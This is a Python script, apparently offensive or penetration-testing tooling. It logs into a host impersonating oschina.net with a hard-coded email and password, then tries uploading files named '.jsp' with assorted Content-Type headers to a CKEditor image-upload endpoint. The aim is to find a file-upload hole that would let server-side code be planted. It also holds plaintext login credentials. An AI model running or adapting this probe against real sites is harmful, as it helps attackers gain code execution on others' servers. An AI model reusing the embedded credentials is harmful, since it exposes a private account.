import http.client,ssl,urllib.parse,subprocess,sys,time
ctx=ssl._create_unverified_context()
def login(host="10.0.0.13"):
    body=urllib.parse.urlencode({"email":"chengxinxin@oschina.cn","pwd":"12345qwert,"})
    c=http.client.HTTPConnection(host,8081,timeout=6)
    c.request("POST","/action/user/login",body=body,headers={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Content-Type":"application/x-www-form-urlencoded"})
    r=c.getresponse(); r.read(100); hd=r.getheaders(); c.close()
    for k,v in hd:
        if k.lower()=="set-cookie" and v.startswith("oscid="): return v.split(";")[0]
osc=login()
png=open("/tmp/cover200.png","rb").read()
def upload(host,fn,data,ctype="image/png"):
    b="----ckb%d"%int(time.time_ns())
    body=("--%s\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"%s\"\r\nContent-Type: %s\r\n\r\n"%(b,fn,ctype)).encode()+data+("\r\n--%s--\r\n"%b).encode()
    c=http.client.HTTPConnection(host,8081,timeout=20)
    h={"Host":"www.oschina.net","User-Agent":"Mozilla/5.0","Cookie":osc,"Referer":"https://www.oschina.net/","Content-Type":"multipart/form-data; boundary=%s"%b,"Content-Length":str(len(body))}
    c.request("POST","/action/blog/ckeditor_img_upload",body=body,headers=h)
    r=c.getresponse(); d=r.read(3000); c.close(); return r.status,d
for host in ["10.0.0.13"]:
    tests=[("ctx1.jsp","application/octet-stream"),("ctx2.jsp","text/html"),("ctx3.jsp","image/gif"),("ctx4.jsp","image/jpeg"),("ctx5.jsp","application/x-jsp"),("ctx6.jsp","image/svg+xml"),("ctx7.jsp.png","image/png")]
    for fn,ct in tests:
        try:
            st,d=upload(host,fn,png,ct); print("UP",fn,ct,st,repr(d[:400]))
        except Exception as e: print("UP",fn,ct,"EXC",type(e).__name__,e)
